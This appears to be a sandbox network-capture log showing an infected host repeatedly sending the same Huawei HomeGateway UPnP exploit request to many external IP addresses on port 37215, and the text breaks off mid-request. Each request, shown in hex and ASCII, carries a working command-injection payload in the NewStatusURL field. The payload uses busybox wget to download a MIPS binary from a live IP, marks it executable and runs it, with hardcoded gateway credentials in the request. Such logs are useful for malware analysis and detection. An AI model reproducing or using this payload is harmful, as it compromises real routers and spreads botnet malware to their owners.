Jun 1, 2024 18:15:56.307832003 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.23	57742	197.149.153.183	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307866096 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.23	54184	41.8.69.158	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307898045 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.23	38026	41.116.27.9	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307936907 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.23	41492	197.90.12.37	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.307965040 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.23	39248	41.95.96.115	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308000088 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.23	46284	156.113.114.137	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308032990 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.23	57036	41.97.81.103	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308065891 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.23	36302	156.166.201.246	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308094025 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.23	48752	197.198.161.205	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308136940 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.23	45302	41.114.72.170	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:56.308237076 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 